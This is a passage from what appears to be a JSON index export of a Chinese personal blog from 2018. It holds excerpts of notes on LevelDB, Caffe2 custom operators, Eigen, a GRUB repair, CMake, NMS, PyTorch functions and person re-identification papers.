最近有个需求是存人脸的feature到硬盘，似乎使用levelDB比较合适，因此来学习一下使用。 先放参考资料。 关于levelDB的语法，看这里就好了。 以及由于caffe中使用了levelDB，因此也可以参考下caffe源码。不过caffe中对levelDB的使用是又封装了一层。 具体可以参考： 1#ifdef USE_LEVELDB 2#ifndef CAFFE_UTIL_DB_LEVELDB_HPP 3#define CAFFE_UTIL_DB_LEVELDB_HPP 4 5#include \u003cstring\u003e 6 7#include \"leveldb/db.h\" 8#include \"leveldb/write_batch.h\" 9 10#include \"caffe/util/db.hpp\" 11 12namespace caffe { namespace db { 13 14class LevelDBCursor : public Cursor { 15 public: 16 explicit LevelDBCursor(leveldb::Iterator* iter) 17 : iter_(iter) { 18 SeekToFirst(); 19 CHECK(iter_-\u003estatus().ok()) \u003c\u003c iter_-\u003estatus().ToString(); 20 } 21 ~LevelDBCursor() { delete iter_; } 22 virtual void SeekToFirst() { iter_-\u003eSeekToFirst(); } 23 virtual void Next() { iter_-\u003eNext(); } 24 virtual string key() { return iter_-\u003ekey().ToString(); } 25 virtual string value() { return iter_-\u003evalue().ToString(); } 26 virtual bool valid() { return iter_-\u003eValid(); } 27 28 private: 29 leveldb::Iterator* iter_; 30}; 31 32class LevelDBTransaction : public Transaction { 33 public: 34 explicit LevelDBTransaction(leveldb::DB* db) : db_(db) { CHECK_NOTNULL(db_); } 35 virtual void Put(const string\u0026 key, const string\u0026 value) { 36 batch_.Put(key, value); 37 } 38 virtual void Commit() { 39 leveldb::Status status = db_-\u003eWrite(leveldb::WriteOptions(), \u0026batch_); 40 CHECK(status.ok()) \u003c\u003c \"Failed to write batch to leveldb \" 41 \u003c\u003c std::endl \u003c\u003c status.ToString(); 42 } 43 44 private: 45 leveldb::DB* db_; 46 leveldb::WriteBatch batch_; 47 48 DISABLE_COPY_AND_ASSIGN(LevelDBTransaction); 49}; 50 51class LevelDB : public DB { 52 public: 53 LevelDB() : db_(NULL) { } 54 virtual ~LevelDB() { Close(); } 55 virtual void Open(const string\u0026 source, Mode mode); 56 virtual void C","date":"2018-04-19","externalUrl":null,"permalink":"/2018/04/leveldb-notes/","section":"Posts","summary":"2022-02-26 update: 说学习笔记听起来像在分析代码。。。但是实际上什么都没干，还是写\"使用笔记\"好了","tags":["leveldb"],"title":"levelDB 使用笔记","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"记录一些一个没有之前没有接触过caffe/caffe2的人为了添加自定义的op 到caffe2需要做的工作. 首先参考caffe2 tutorial,随便跑个op来试试,不妨以比较简单的 Accumulate_op 为例子. 这个op的作用就是计算Y=X+gamma*Y, 其中X为输入,Y为输出,gamma是参数. 跑起来这个运算所需要的代码如下: 1from caffe2.python import workspace, model_helper 2import numpy as np 3# Create the input data 4data = np.arange(6).reshape(2,3).astype(np.float32) 5print (\"data=\",data) 6 7# Create labels for the data as integers [0, 9]. 8 9workspace.FeedBlob(\"data\", data) 10# Create model using a model helper 11m = model_helper.ModelHelper(name=\"my first net\") 12output = m.net.Accumulate([\"data\"], \"output\") 13print(m.net.Proto()) 14workspace.RunNetOnce(m.param_init_net) 15workspace.CreateNet(m.net) 16workspace.RunNet(m.name,2) # run 2 times 17print(\"output=\",workspace.FetchBlob('output')) c之后我们仿照caffe2/operators/accumultate_op.h和affe2/operators/accumultate_op.cc,仿写一个我们自己的运算atest_op.h和atest_op.cc 实现的功能为Y=5X+gammaY 1#include \"caffe2/operators/atest_op.h\" 2 3namespace caffe2 { 4REGISTER_CPU_OPERATOR(Atest, AtestOp\u003cfloat, CPUContext\u003e); 5 6OPERATOR_SCHEMA(Atest) 7 .NumInputs(1) 8 .NumOutputs(1) 9 .IdenticalTypeAndShape() 10 .SetDoc(R\"DOC( 11Accumulate operator accumulates the input tensor to the output tensor. If the 12output tensor already has the right size, we add to it; otherwise, we first 13initialize the output tensor to all zeros, and then do accumulation. Any 14further calls to the operator, given that no one else fiddles with the output 15in the interim, will do simple accumulations. 16Accumulation is done using Axpby operation as shown: 17 Y = 1*X + gamma*Y 18where X is the input tensor, Y is the output tensor and gamma is the multiplier 19argument. 20)DOC\") 21 .Arg(\"gamma\", \"(float, default 1.0) Accumulation multiplier\") 22 .Input(0, \"input\", \"The input tensor that has to be accumulated to the \" 23 \"outpu","date":"2018-04-13","externalUrl":null,"permalink":"/2018/04/add-custom-operation-in-caffe2/","section":"Posts","summary":"记录一些一个没有之前没有接触过caffe/caffe2的人为了添加自定义的op 到caffe2需要做的工作.","tags":["caffe2"],"title":"caffe2 添加自定义operater","type":"post"},{"categories":["其他"],"content":"接触Eigen的原因是最近在看caffe/caffe2源码,caffe2中使用了Eigen库. Eigen 是一个基于C++模板的线性代数库，直接将库下载后放在项目目录下，然后包含头文件就能使用，非常方便。对于Linux用户,只需要把头文件放到/usr/include 下即可此外，Eigen的接口清晰，稳定高效。 之后会更新一些,Eigen中我使用过的函数. ubuntu14.04LTS 下使用方式: # 1sudo apt-get install libeigen3-dev 2cd /usr/include/eigen3 3sudo cp -R Eigen /usr/include 然后尝试运行如下代码,直接编译即可.如果可以正常运行,表明安装完毕. 1#include \u003ciostream\u003e 2#include \u003cEigen/Dense\u003e 3 4 5//using Eigen::MatrixXd; 6using namespace Eigen; 7using namespace Eigen::internal; 8using namespace Eigen::Architecture; 9 10 11using namespace std; 12 13 14int main() 15{ 16 17 cout\u003c\u003c\"*******************1D-object****************\"\u003c\u003cendl; 18 19 20 Vector4d v1; 21 v1\u003c\u003c 1,2,3,4; 22 cout\u003c\u003c\"v1=\\n\"\u003c\u003cv1\u003c\u003cendl; 23 24 25 VectorXd v2(3); 26 v2\u003c\u003c1,2,3; 27 cout\u003c\u003c\"v2=\\n\"\u003c\u003cv2\u003c\u003cendl; 28 29 30 Array4i v3; 31 v3\u003c\u003c1,2,3,4; 32 cout\u003c\u003c\"v3=\\n\"\u003c\u003cv3\u003c\u003cendl; 33 34 35 ArrayXf v4(3); 36 v4\u003c\u003c1,2,3; 37 cout\u003c\u003c\"v4=\\n\"\u003c\u003cv4\u003c\u003cendl; 38 39} map的使用办法: # double arr[9]={1,2,3,4,5,6,7,8,9}; Map A(arr,3,3); 得到 1 4 7 2 5 8 3 6 9 以看出默认是按列优先的… 如果需要按行优先,可以修改矩阵的定义方式: typedef Matrix\u003cdouble, Dynamic, Dynamic,RowMajor\u003erMatrixXd;//定义矩阵行优先 double arr[9]={1,2,3,4,5,6,7,8,9}; Map A(arr,3,3); map使用的时候,只需要指定map\u003c\u003e中,缺少(dynamic)的维度. 比如 1/* *********************************************** 2Author :111qqz 3Created Time :2018年04月05日 星期四 18时21分59秒 4File Name :b.cpp 5************************************************ */ 6 7#include \u003cbits/stdc++.h\u003e 8#include \u003cEigen/Dense\u003e 9using namespace std; 10using namespace Eigen; 11int main() 12{ 13 double arr[100]={1,2,3,4,5,6,7,8,9}; 14 Map\u003cArray\u003cdouble,Dynamic,1\u003e \u003eA(arr,4); 15 cout\u003c\u003cA; 16 17 18 return 0; 19} 得到结果 1 2 3 4 平均值 # 对于矩阵: 1 4 7 2 5 8 3 6 9 按行求平均值A.rowwise().mean() 得到: 4 5 6 按列求平均值 A.colwise().mean 得到 2 5 8 unaryExpr() # 参数为一元函数算子,表示对每一项应用该一元算子.具体看例子 1/* *********************************************** 2Author :1","date":"2018-04-05","externalUrl":null,"permalink":"/2018/04/eigen-notes/","section":"Posts","summary":"接触Eigen的原因是最近在看caffe/caffe2源码,caffe2中使用了Eigen库. Eigen 是一个基于C++模板的线性代数库，直接将库下载后放在项目目录下，然后包含头文件就能使用，非常方便。对于Linux用户,只需要把头文件放到/usr/include 下即可此外，Eigen的接口清晰，稳定高效。","tags":["caffe","Eigen","c++"],"title":"Eigen: C++开源矩阵学习笔记","type":"post"},{"categories":["其他"],"content":"windows自己更新把grub更新挂了…. 更新的时候要重启几次,重启一次挂一次… 讲真,windows(或者说win10?) 是我见过的最辣鸡的OS了… 自己把自己弄挂这事不是一两次了. 下面说修复办法: 先ls,得到一堆诸如(hd0,gpt7) 这种 然后选设X=第一个(x,y)形式的输出 之后 1set root=X 2set prefix=X/boot/grub 3insmod normal 4normal 然后记得要进入linux分区….. 执行: sudo update-grub sudo grub-install /dev/sda 总结:珍爱生命,远离辣鸡windows!!!!! # 珍爱生命,远离辣鸡windows!!!!! # 珍爱生命,远离辣鸡windows!!!!! #","date":"2018-04-01","externalUrl":null,"permalink":"/2018/04/the-way-to-fix-unkown-filesystem-error-in-grub/","section":"Posts","summary":"windows自己更新把grub更新挂了…. 更新的时候要重启几次,重启一次挂一次…","tags":["grub","linux"],"title":"linux/win双系统 更新win后 grub 出现 Error: unknown filesystem 的解决办法","type":"post"},{"categories":["工程"],"content":"前置技能点： gnu make linux下.so,.a,.o文件 cmake是一个工具，也可以看成一门语言。 学习cmake最大的障碍在于看不懂全是大写的英文 学习cmake主要参考了《cmake practice》 不过感觉作者有些啰嗦…不重要的东西讲了半天，重要的东西却一带而过。。。表述得也不是特别流畅。。。但是还是感谢作者的分享吧orz… cmake的定位是大型项目构建工具。 目前适用于C/C++/JAVA的项目。 可以不需要自己写makefile文件。 既然cmake可以看做一门语言，那么自然就有语法。 下面只是列举一些常用的。不常用的可以用到的时候再去查。这里也会不定期补充。 cmake的语法中，对于变量大小写敏感，对于cmake的关键字大小写不敏感，不过习惯于全部大写。 cmake有两种编译方式，一种叫in source 编译（就是直接在工程目录编译） 一种叫out of source 编译，就是在工程目录下新建build,然后在build文件夹里编译。 一般都采用out of source的方式编译，这样可以使得编译得到的结果都存放在build文件夹里，不会和源代码混在一起。 set 命令用来定义变量： SET(HELLO_SRC main.SOURCE_PATHc) 然后就可以用${HELLO_SRC}　来引用这个变量了（例外：在if语句中，是直接使用变量名引用，而不需要${}） ADD_EXECUTABLE来定义生成的可执行文件的名字： ADD_EXECUTABLE(hello SRC_LIST) 表示源文件是SRC_LIST 中定义的源文件列表，生成一个文件名为hello的可执行文件。 如果有多个参数，可以写成： ADD_EXECUTABLE(hello main.c func.c)或者 ADD_EXECUTABLE(hello main.c;func.c) ADD_SUBDIRECTORY指令： ADD_SUBDIRECTORY(source_dir [binary_dir] [EXCLUDE_FROM_ALL]) 这个指令用于向当前工程添加存放源文件的子目录,并可以指定中间二进制和目标二进制存 放的位置。EXCLUDE_FROM_ALL 参数的含义是将这个目录从编译过程中排除,比如,工程 的 example,可能就需要工程构建完成后,再进入 example 目录单独进行构建(当然,你 也可以通过定义依赖来解决此类问题)。 ADD_LIBRARY(hello SHARED ${LIBHELLO_SRC})：生成动态(共享)库 语法为：ADD_LIBRARY(libname [SHARED|STATIC|MODULE] [EXCLUDE_FROM_ALL] source1 source2 … sourceN) 常用到的是SHARED动态库，STATIC静态库 SET_TARGET_PROPERTIES：可以修改生成的库的名字 SET_TARGET_PROPERTIES(hello_static PROPERTIES OUTPUT_NAME “hello”) INCLUDE_DIRECTORIES：添加头文件搜寻目录 LINK_DIRECTORIES：为target 添加非标准的共享库搜索路径","date":"2018-03-18","externalUrl":null,"permalink":"/2018/03/cmake-notes/","section":"Posts","summary":"前置技能点： gnu make linux下.so,.a,.o文件 cmake是一个工具，也可以看成一门语言。","tags":["cmake","cpp"],"title":"cmake 学习笔记","type":"post"},{"categories":["c++"],"content":"发现我对工程一无所知 QAQ。 参考资料： Library Archives: Static and Dynamic 简单地说，.a 文件是静态库，而 .so 文件是共享对象（动态库），作用类似 Windows 下的 DLL。 .o 文件则相当于 Windows 下的 .obj 文件。编译器通常先把各个源文件编译为目标文件，再将它们链接成最终的可执行文件。 开发者可以选择生成静态库或动态库，不过需要根据程序的分发和运行方式做取舍。 静态链接的好处是，把程序交给用户后通常不需要再额外提供对应的动态库；代价是最终程序会比较臃肿。","date":"2018-03-17","externalUrl":null,"permalink":"/2018/03/linux-%e4%b8%8b-o-%e6%96%87%e4%bb%b6%ef%bc%8c-a%e6%96%87%e4%bb%b6%ef%bc%8c-so%e6%96%87%e4%bb%b6/","section":"Posts","summary":"发现我对工程一无所知 QAQ。 参考资料： Library Archives: Static and Dynamic 简单地说，.a 文件是静态库，而 .so 文件是共享对象（动态库），作用类似 Windows 下的 DLL。","tags":["linux"],"title":"linux 下 .o 文件，.a 文件，.so 文件","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"NMS是为了在诸多CV任务如边缘检测，目标检测等，找到局部最大值 其主要思想是先设定一个阈值，然后计算检测框的IOU(所谓IOU，也就是intersection-over-union，指的是相交面积除以相并面积，是来衡量overlap程度的指数）。如果IOU大于阈值，说明overlap过大，我们要通过某种算法来将其剔除。 比如下图，在经典的人脸识别任务中，出现了多个检测框，每个检测框有一个置信度confidence，我们通过某个算法，保留一个最好的。 顺便说一下算法的实现步骤把，其实不太重要。就是贪心。 其基本操作流程如下： 首先，计算每一个 bounding box 的面积： (x1, y1) ⇒ 左上点的坐标，(x2, y2) ⇒ 右下点的坐标； (x2-x1+1)x(y2-y1+1) 根据 scores 进行排序（一般从小到大），将 score 最大的bounding box置于队列，接下来计算其余 bounding box 与当前 score 最大的 bounding box 的 IoU，抑制（忽略也即去除）IoU大于设定阈值的 bounding box； 重复以上过程，直至候选 bounding boxes 为空； 最后上一段python代码吧…也很简单，直接转载了别人的… 1def nms(dets, thresh): 2 x1 = dets[:, 0] 3 y1 = dets[:, 1] 4 x2 = dets[:, 2] 5 y2 = dets[:, 3] 6 scores = dets[:, 4] 7 8 areas = (x2 - x1 + 1) * (y2 - y1 + 1) # 每个boundingbox的面积 9 order = scores.argsort()[::-1] # boundingbox的置信度排序 10 keep = [] # 用来保存最后留下来的boundingbox 11 while order.size \u003e 0: 12 i = order[0] # 置信度最高的boundingbox的index 13 keep.append(i) # 添加本次置信度最高的boundingbox的index 14 15 # 当前bbox和剩下bbox之间的交叉区域 16 # 选择大于x1,y1和小于x2,y2的区域 17 xx1 = np.maximum(x1[i], x1[order[1:]]) 18 yy1 = np.maximum(y1[i], y1[order[1:]]) 19 xx2 = np.minimum(x2[i], x2[order[1:]]) 20 yy2 = np.minimum(y2[i], y2[order[1:]]) 21 22 # 当前bbox和其他剩下bbox之间交叉区域的面积 23 w = np.maximum(0.0, xx2 - xx1 + 1) 24 h = np.maximum(0.0, yy2 - yy1 + 1) 25 inter = w * h 26 27 # 交叉区域面积 / (bbox + 某区域面积 - 交叉区域面积) 28 ovr = inter / (areas[i] + areas[order[1:]] - inter) 29 #保留交集小于一定阈值的boundingbox 30 inds = np.where(ovr \u003c= thresh)[0] 31 order = order[inds + 1] 32 33 return keep 34print nms(dets, thresh) 参考链接 目标窗口检测算法-NMS非极大值抑制","date":"2018-03-16","externalUrl":null,"permalink":"/2018/03/non-maximum-suppression/","section":"Posts","summary":"NMS是为了在诸多CV任务如边缘检测，目标检测等，找到局部最大值","tags":["nms"],"title":"非极大值抑制（Non-Maximum Suppression，NMS）","type":"post"},{"categories":["其他"],"content":"emmm,博客的数据库又挂了。 看了下log，发现innoDB: Cannot allocate memory for the buffer pool　的error 查了下，貌似是内存不够了？　orz 用free 命令看了下，阿里云ecs貌似是默认没有swap分区的。 于是参考云服务器 ECS Linux SWAP 配置概要说明 设置了swap分区。看下还会不会挂orz","date":"2018-03-15","externalUrl":null,"permalink":"/2018/03/the-way-to-fix-mysql-innodb-cannot-allocate-memory/","section":"Posts","summary":"emmm,博客的数据库又挂了。 看了下log，发现innoDB: Cannot allocate memory for the buffer pool　的error","tags":["linux","mysql"],"title":"mysql 出现　innoDB: Cannot allocate memory for the buffer pool　的解决办法","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"被师兄（同事？）普及了一番实验规范orz… 我还是太年轻了 所谓的一个fc的版本是右边的．一个放着不动，另一个在sequence_len（１０）的维度上做ave,然后再expand成原来的维度．如下图． 任务命名规则： 如D1V2_a_1,D1表示使用第一个数据集，V2表示是第二个大版本，ａ表示在V２大版本上的微调，最后的数字表示这是第几次运行该任务（跑三次以减少波动的影响） logdir的地址为:/mnt/lustre/renkuanze/Data_t1/reid/log/｛$jobname｝ * D1:使用ilivids 数据集 * D1V1表示最初始的　baseline model * D1V2表示改为使用一个fc * D1V2_a是一个在一个FC上，不添加光流的修改版本 * D1V2_b是在一个FC上的baseline版本（也就是有光流） * D1V2_c是在一个FC上，有光流，batchsize从３２改为６４，gpu数目从4改为8的版本 * D1V3表示将softmax改为sigmod * D1V3_b表示将softmax改为sigmod的baseline版本 * D2:使用prid2011数据集 * D2V1表示初始的baseline model * D2V2表示改为使用一个fc * D2V2_b是在一个FC上的baseline版本 *","date":"2018-02-24","externalUrl":null,"permalink":"/2018/02/reid-task-notes/","section":"Posts","summary":"被师兄（同事？）普及了一番实验规范orz… 我还是太年轻了","tags":["reid"],"title":"reid 相关任务记录","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"CMC曲线全称是Cumulative Match Characteristic (CMC) curve，也就是累积匹配曲线，同ROC曲线Receiver Operating Characteristic (ROC) curve一样，是模式识别系统，如人脸，指纹，虹膜等的重要评价指标，尤其是在生物特征识别系统中，一般同ROC曲线（ 多标签图像分类任务的评价方法-mean average precision(mAP) 以及top x的评价方法）一起给出，能够综合评价出算法的好坏。 转一篇通俗易懂的解释： Shortly speaking, imagine that you have 5 classes. For simplicity, imagine you have one test per class. Each test produces a score when compared to each class. Let’s start from test1 which belongs to class1: As your similarity measure, here, is Euclidian distance, the more distance a test has compared to a class, the less similarity is obtained. Without loss of generality, let’s suppose that the distance measures are calibrated and normalized in terms of similarity scores. If the score between test1 and class1 is larger than the other 4 classes (or the Euclidian distance between test1 and class1 is less than the other 4 classes), class 1 is recognized in the first rank. As an example, let’s suppose the following similarity scores (not Euclidian distances): Test1 VS class 1= .95 Test1 VS class 2= .7 Test1 VS class 3= .9 Test1 VS class 4= .72 Test1 VS class 5= .3 What do these scores say? These similarity scores say that test 1 is more similar to class 1 than the other classes. So, test 1 is correctly recognized in the first rank. Let’s suppose that test2, test 3, test 4 and test 5 are also recognized in the first rank. So, we can conclude that we have a perfect CMC curve (y-x). because all of the 5 test are correctly recognized. A perfect CMC curve is as following: Rank 1: 100% Rank2: 100% … Rank 5:100% Now, let’s suppose the following situation: Test1 VS class 1= .9 Test1 VS class 2= .95 Test1 VS class 3= .4 Test1 VS class 4= .72 Test1 VS class 5= .3 What do these scores say? They say that test 1 is more similar to class ","date":"2018-02-23","externalUrl":null,"permalink":"/2018/02/cumulative-Match-characteristi/","section":"Posts","summary":"CMC曲线全称是Cumulative Match Characteristic (CMC) curve，也就是累积匹配曲线，同ROC曲线Receiver Operating Characteristic (ROC) curve一样，是模式识别系统，如人脸，指纹，虹膜等的重要评价指标，尤其是在生物特征识别系统中，一般同ROC曲线（ 多标签图像分类任务的评价方法-mean average precision(mAP) 以及top x的评价方法）一起给出，能够综合评价出算法的好坏。","tags":["Cumulative Match Characteristi"],"title":"分类评价指标之Cumulative Match Characteristi (CMC)曲线","type":"post"},{"categories":["deep-learning"],"content":"记录一些常用的…总去查文档也是有点麻烦 * tensor.view 的作用是reshape 比如 a = torch.range(1, 16) 得到一个tensor that has 16 elements from 1 to 16. 在a=a.view(4,4)就得到了一个44的tensor。 需要注意reshape之后元素的个数不能改变(16==44) 参数-1的作用是，我懒得算这一维度应该是多少,（由于元素个数不能改变）所以希望自动被计算。**需要注意的是，只有一个维度可以写-1。 **不过view和reshape有些区别：reshape always copies memory. view never copies memory # * torch.squeeze 将输入张量形状中的1 去除并返回。 如果输入是形如(A×1×B×1×C×1×D)，那么输出形状就为： (A×B×C×D)当给定dim时，那么挤压操作只在给定维度上。例如，输入形状为: (A×1×B), squeeze(input, 0) 将会保持张量不变，只有用 squeeze(input, 1)，形状会变成 (A×B)。注意： 返回张量与输入张量共享内存，所以改变其中一个的内容会改变另一个。 # * torch.unsqueeze 返回一个新的张量，对输入的制定位置插入维度 1 注意： 返回张量与输入张量共享内存，所以改变其中一个的内容会改变另一个。如果dim为负，则将会被转化dim+input.dim()+1 # 1\u003e\u003e\u003e x = torch.Tensor([1, 2, 3, 4]) 2\u003e\u003e\u003e torch.unsqueeze(x, 0) 3 1 2 3 4 4[torch.FloatTensor of size 1x4] 5\u003e\u003e\u003e torch.unsqueeze(x, 1) 6 1 7 2 8 3 9 4 10[torch.FloatTensor of size 4x1] 11 12 13 14 * tensor.expand(size) 扩展tensor.可以保持维度数目不变，每一维度的size增加(比如AB变到C*D,其中C\u003e=A,D\u003e=B).-1参数表示某一个维度的size不发生改变 . 有可以扩展tensor到更多的维度，新增加的维度会默认放在最前面，并且不能以-1作为参数。 # * tensor.contiguous 将一个tensor变成连续的。（一些ops如expand/expand_as会让tensor 不连续） #","date":"2018-02-23","externalUrl":null,"permalink":"/2018/02/pytorch-function-notes/","section":"Posts","summary":"记录一些常用的…总去查文档也是有点麻烦 * tensor.view 的作用是reshape 比如 a = torch.range(1, 16) 得到一个tensor that has 16 elements from 1 to 16. 在a=a.view(4,4)就得到了一个44的tensor。 需要注意reshape之后元素的个数不能改变(16==44) 参数-1的作用是，我懒得算这一维度应该是多少,（由于元素个数不能改变）所以希望自动被计算。**需要注意的是，只有一个维度可以写-1。 **不过view和reshape有些区别：reshape always copies memory. view never copies memory # * torch.squeeze 将输入张量形状中的1 去除并返回。 如果输入是形如(A×1×B×1×C×1×D)，那么输出形状就为： (A×B×C×D)当给定dim时，那么挤压操作只在给定维度上。例如，输入形状为: (A×1×B), squeeze(input, 0) 将会保持张量不变，只有用 squeeze(input, 1)，形状会变成 (A×B)。注意： 返回张量与输入张量共享内存，所以改变其中一个的内容会改变另一个。 # * torch.unsqueeze 返回一个新的张量，对输入的制定位置插入维度 1 注意： 返回张量与输入张量共享内存，所以改变其中一个的内容会改变另一个。如果dim为负，则将会被转化dim+input.dim()+1 # 1\u003e\u003e\u003e x = torch.Tensor([1, 2, 3, 4]) 2\u003e\u003e\u003e torch.unsqueeze(x, 0) 3 1 2 3 4 4[torch.FloatTensor of size 1x4] 5\u003e\u003e\u003e torch.unsqueeze(x, 1) 6 1 7 2 8 3 9 4 10[torch.FloatTensor of size 4x1] 11 12 13 14 * tensor.expand(size) 扩展tensor.可以保持维度数目不变，每一维度的size增加(比如AB变到C*D,其中C\u003e=A,D\u003e=B).-1参数表示某一个维度的size不发生改变 . 有可以扩展tensor到更多的维度，新增加的维度会默认放在最前面，并且不能以-1作为参数。 # * tensor.contiguous 将一个tensor变成连续的。（一些ops如expand/expand_as会让tensor 不连续） #","tags":["python","pytorch"],"title":"pytorch 函数笔记","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"算是CV领域的传统算法了 只写两句话就够了。 它是空间运动物体在观察成像平面上的像素运动的瞬时速度，是利用图像序列中像素在时间域上的变化以及相邻帧之间的相关性来找到上一帧跟当前帧之间存在的对应关系，从而计算出相邻帧之间物体的运动信息的一种方法。 研究光流场的目的就是为了从图片序列中近似得到不能直接得到的运动场。运动场，其实就是物体在三维真实世界中的运动；光流场，是运动场在二维图像平面上（人的眼睛或者摄像头）的投影。 参考资料： 光流Optical Flow介绍与OpenCV实现","date":"2018-02-22","externalUrl":null,"permalink":"/2018/02/Optical-flow-notes/","section":"Posts","summary":"算是CV领域的传统算法了 只写两句话就够了。 它是空间运动物体在观察成像平面上的像素运动的瞬时速度，是利用图像序列中像素在时间域上的变化以及相邻帧之间的相关性来找到上一帧跟当前帧之间存在的对应关系，从而计算出相邻帧之间物体的运动信息的一种方法。","tags":["光流法"],"title":"光流法初探","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"所谓end-to-end 神经网络，更多是一种思想。 这种思想的核心是，比如对于图像处理，输入原始图像数据，输出的是直接有用的结果（有用取决于具体的任务，比如自动驾驶) 也就是尽可能少得减少人为干预，使训练是end (原始数据) to end (对应用问题直接有用的结果) 端到端指的是输入是原始数据，输出是最后的结果，原来输入端不是直接的原始数据，而是在原始数据中提取的特征，这一点在图像问题上尤为突出，因为图像像素数太多，数据维度高，会产生维度灾难，所以原来一个思路是手工提取图像的一些关键特征，这实际就是就一个降维的过程。 那么问题来了，特征怎么提？ 特征提取的好坏异常关键，甚至比学习算法还重要，举个例子，对一系列人的数据分类，分类结果是性别，如果你提取的特征是头发的颜色，无论分类算法如何，分类效果都不会好，如果你提取的特征是头发的长短，这个特征就会好很多，但是还是会有错误，如果你提取了一个超强特征，比如染色体的数据，那你的分类基本就不会错了。 这就意味着，特征需要足够的经验去设计，这在数据量越来越大的情况下也越来越困难。 于是就出现了端到端网络，特征可以自己去学习，所以特征提取这一步也就融入到算法当中，不需要人来干预了。 简单得说，符合end-to-end 的神经网络，特征应该是网络自己学习，而不是人为提取。 参考资料： 什么是 end-to-end 神经网络？","date":"2018-02-22","externalUrl":null,"permalink":"/2018/02/end-to-end-neural-network/","section":"Posts","summary":"所谓end-to-end 神经网络，更多是一种思想。 这种思想的核心是，比如对于图像处理，输入原始图像数据，输出的是直接有用的结果（有用取决于具体的任务，比如自动驾驶)","tags":["end-to-end"],"title":"end-to-end 神经网络","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"1709.08325 Reid问题指的是判断一个probe person 是否在被不同的camera捕获的gallery person 中出现。 通常是如下情景：给出一个特定camera下某个特定人的probe image 或者 video sequence，从其他camera处询问这个人的图像，地点，时间戳。 ReID问题至今没有很好得解决，主要原因是，不同camera下，人的姿势（pose),观察的视角(viewpoint) 变化太大了。 传统方法主要在两个大方向上努力: 1. **用一些在图像上抽取的不变量来作为人的特征feture** 2. **去学习一个不同的距离度量方式，以至于同一个人在不同camera之间的距离尽可能小。** 但是由于在实际中，行人的pose和 摄像机的viewpoint不可控，因此与之相关的feture可能不够健壮。 学习新的不同的距离度量方式需要每对camera分别计算距离，然而这是O(n^2)的时间复杂度，凉凉。 近些年Deep learning发展迅猛，并且在很多CV任务上表现良好。所以自然有人想把Deep learning 方法应用到Reid任务上。 目前Deep learning的做法一般分为两部分： * 使用softmax loss 结合person ID labels得到一个global representation * 首先用预定义好的body 刚体模型去得到local representation,然后将global 和local representation 融合。 目前用deep learning的方法效果已经不错了，比传统方法要好。但是目前的deep learning方法没有考虑到人的姿势(pose)的变化。 虽然目前也有些deep learning的办法在处理Reid问题时使用pose estimation algorithms 来预测行人的pose, 但是这种办法是手动完成而不是一个end-to-end（什么是end-to-end 神经网络） 的过程 所以考虑pose的潜力还没有被完全发掘。 这篇paper主要做了以下工作： * 提出了一种新的深层结构，将身体部分转化成相应的特征表示，以此来克服pose变化带来的问题 * 提出了一个用来自动学习各部分权值的sub-network 这两部分工作都是end-to-end的","date":"2018-02-22","externalUrl":null,"permalink":"/2018/02/pose-driven-deep-convolutional-model-for-person-re-identification/","section":"Posts","summary":"1709.08325 Reid问题指的是判断一个probe person 是否在被不同的camera捕获的gallery person 中出现。","tags":["Pose-driven","reid"],"title":"Pose-driven Deep Convolutional Model for Person Re-identification 阅读笔记","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"原始论文 DNN在很多问题上效果很不错，但是由于深度和宽度过大，导致需要的执行时间和内存过大。我们需要讨论一些能快速执行并且对内存的需要不大的模型。 已经有很多方法来做这件事，比较重要的是Model distillation（模型蒸馏） 基于蒸馏的模型压缩的有效性是基于一个发现：小的网络有和大的网络一样的表达能力，只不过是更难以训练找到合适的参数。 也就是说，难点在于优化(以找到合适的参数）而不在于网络的尺寸。 蒸馏的模型的做法是把一个有效的(deep or/and wide) network 作为teacher network,让一个size 较小的 student network 模仿teacher network. 这样做的好处是，size小的多的student network训练如何模仿teacher network通常要比直接训练得到目标函数容易，而效果上与teacher network相当，甚至超过teacher network. 在这篇paper中，作者提出了一个和蒸馏模型相关但是不同的模型: Deep Mutual Learning (相互学习，以下缩写为DML) 蒸馏模型开始于一个强大的教师网络，并通过教师网络**单向(one way)**教授学生网络知识。 相反，DML中,开始于一群没有经受过训练的学生网络。 具体来说，每个学生训练有两种损失: * **常规的监督学习损失和对齐的模仿损失** * **每个学生的在班级中落后于其他学生的概率。** 结果表明，DML的方式：比每个学生网络单独学习要好，也比传统的传统的蒸馏模型要好。 此外，我们发现，对几个tearcher network 使用 DML，要往往有更好的结果。 另外一些发现： * 效果随着班级中学生网络的数量的增加而增加 * 它适用于各种网络体系结构和异构群组 关于DML为什么有效的直觉讨论： * 常规的监督学习损失保证每个学生单独学习时，整体上结果是越来越好的。 * 由于初始条件不同，对下一个最可能的class的预测概率不同，这是额外信息的来源。","date":"2018-02-18","externalUrl":null,"permalink":"/2018/02/deep-mutual-learning-notes/","section":"Posts","summary":"原始论文 DNN在很多问题上效果很不错，但是由于深度和宽度过大，导致需要的执行时间和内存过大。我们需要讨论一些能快速执行并且对内存的需要不大的模型。","tags":["Model distillation","Mutual Learning"],"title":"Deep Mutual Learning（相互学习） 阅读笔记","type":"post"},{"categories":["deep-learning","计算机视觉"],"content":"Similarity_learning # 相似性学习（Similarity learning ）有监督机器学习，它与回归和分类密切相关，但目标是从实例中学习一个相似函数，以衡量两个对象的相似程度或相关程度。 Similarity learning通常有四种setups: * regression similarity learning 在这种方式中，给出的数据是 ![(x_{i}^{1},x_{i}^{2})](https://wikimedia.org/api/rest_v1/media/math/render/svg/cfa249357a1b4a7baf332041d67e480d6bb1f8fb) 和他们的相似度 . 目标是学习到一个函数 ，对于 给出yi的近似值。 * Classification similarity learning 给出数据 和他们是否相似 。目标是训练出一个分类器，能够完成对一组 是否相似的二分类判断。 * Ranking similarity learning 给出有序三元组 ，其中 is known to be more similar to than to 。目标是训练出一个函数，使得对于新的三元组 ，满足 。容易看出，这种方式采取了比回归更弱的监督形式，因为不需要提供精确的相似性度量，只需要提供相似性的相对顺序。因此，这种ranking-based的相似性学习更容易应用于实际的大规模应用 * Locality sensitive hashing (LSH) 局部敏感哈希和普通哈希的不同就是，相似的项有更大的概率被放到同一个桶中。 顺便一提，这里有一个叫triplet loss 